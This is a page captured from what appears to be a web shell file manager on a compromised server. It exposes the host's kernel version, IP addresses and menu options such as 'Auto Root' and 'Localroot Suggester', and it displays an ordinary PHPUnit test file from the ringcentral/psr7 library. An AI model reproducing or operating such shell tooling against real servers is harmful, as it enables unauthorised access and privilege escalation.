Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.227.102.59
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
ringcentral /
psr7 /
tests /
Delete
Unzip
Name
Size
Permission
Date
Action
AppendStreamTest.php
5.7
KB
-rw-r--r--
2018-01-15 09:00
BufferStreamTest.php
1.9
KB
-rw-r--r--
2018-01-15 09:00
CachingStreamTest.php
5.54
KB
-rw-r--r--
2018-01-15 09:00
DroppingStreamTest.php
919
B
-rw-r--r--
2018-01-15 09:00
FnStreamTest.php
2.55
KB
-rw-r--r--
2018-01-15 09:00
FunctionsTest.php
20.76
KB
-rw-r--r--
2018-01-15 09:00
InflateStreamTest.php
446
B
-rw-r--r--
2018-01-15 09:00
LazyOpenStreamTest.php
1.8
KB
-rw-r--r--
2018-01-15 09:00
LimitStreamTest.php
4.87
KB
-rw-r--r--
2018-01-15 09:00
MultipartStreamTest.php
5.24
KB
-rw-r--r--
2018-01-15 09:00
NoSeekStreamTest.php
1.12
KB
-rw-r--r--
2018-01-15 09:00
PumpStreamTest.php
2.17
KB
-rw-r--r--
2018-01-15 09:00
RequestTest.php
4.71
KB
-rw-r--r--
2018-01-15 09:00
ResponseTest.php
4.73
KB
-rw-r--r--
2018-01-15 09:00
ServerRequestTest.php
2.55
KB
-rw-r--r--
2018-01-15 09:00
StreamDecoratorTraitTest.php
3.22
KB
-rw-r--r--
2018-01-15 09:00
StreamTest.php
5.03
KB
-rw-r--r--
2018-01-15 09:00
StreamWrapperTest.php
3.12
KB
-rw-r--r--
2018-01-15 09:00
UriTest.php
10.18
KB
-rw-r--r--
2018-01-15 09:00
bootstrap.php
197
B
-rw-r--r--
2018-01-15 09:00
Save
Rename
<?php namespace RingCentral\Tests\Psr7; use RingCentral\Psr7; use RingCentral\Psr7\FnStream; /** * @covers RingCentral\Psr7\FnStream */ class FnStreamTest extends \PHPUnit_Framework_TestCase { /** * @expectedException \BadMethodCallException * @expectedExceptionMessage seek() is not implemented in the FnStream */ public function testThrowsWhenNotImplemented() { $stream = new FnStream(array()); $stream->seek(1); } public function testProxiesToFunction() { $self = $this; $s = new FnStream(array( 'read' => function ($len) use ($self) { $self->assertEquals(3, $len); return 'foo'; } )); $this->assertEquals('foo', $s->read(3)); } public function testCanCloseOnDestruct() { $called = false; $s = new FnStream(array( 'close' => function () use (&$called) { $called = true; } )); unset($s); $this->assertTrue($called); } public function testDoesNotRequireClose() { $s = new FnStream(array()); unset($s); } public function testDecoratesStream() { $a = Psr7\stream_for('foo'); $b = FnStream::decorate($a, array()); $this->assertEquals(3, $b->getSize()); $this->assertEquals($b->isWritable(), true); $this->assertEquals($b->isReadable(), true); $this->assertEquals($b->isSeekable(), true); $this->assertEquals($b->read(3), 'foo'); $this->assertEquals($b->tell(), 3); $this->assertEquals($a->tell(), 3); $this->assertSame('', $a->read(1)); $this->assertEquals($b->eof(), true); $this->assertEquals($a->eof(), true); $b->seek(0); $this->assertEquals('foo', (string) $b); $b->seek(0); $this->assertEquals('foo', $b->getContents()); $this->assertEquals($a->getMetadata(), $b->getMetadata()); $b->seek(0, SEEK_END); $b->write('bar'); $this->assertEquals('foobar', (string) $b); $this->assertInternalType('resource', $b->detach()); $b->close(); } public function testDecoratesWithCustomizations() { $called = false; $a = Psr7\stream_for('foo'); $b = FnStream::decorate($a, array( 'read' => function ($len) use (&$called, $a) { $called = true; return $a->read($len); } )); $this->assertEquals('foo', $b->read(3)); $this->assertTrue($called); } }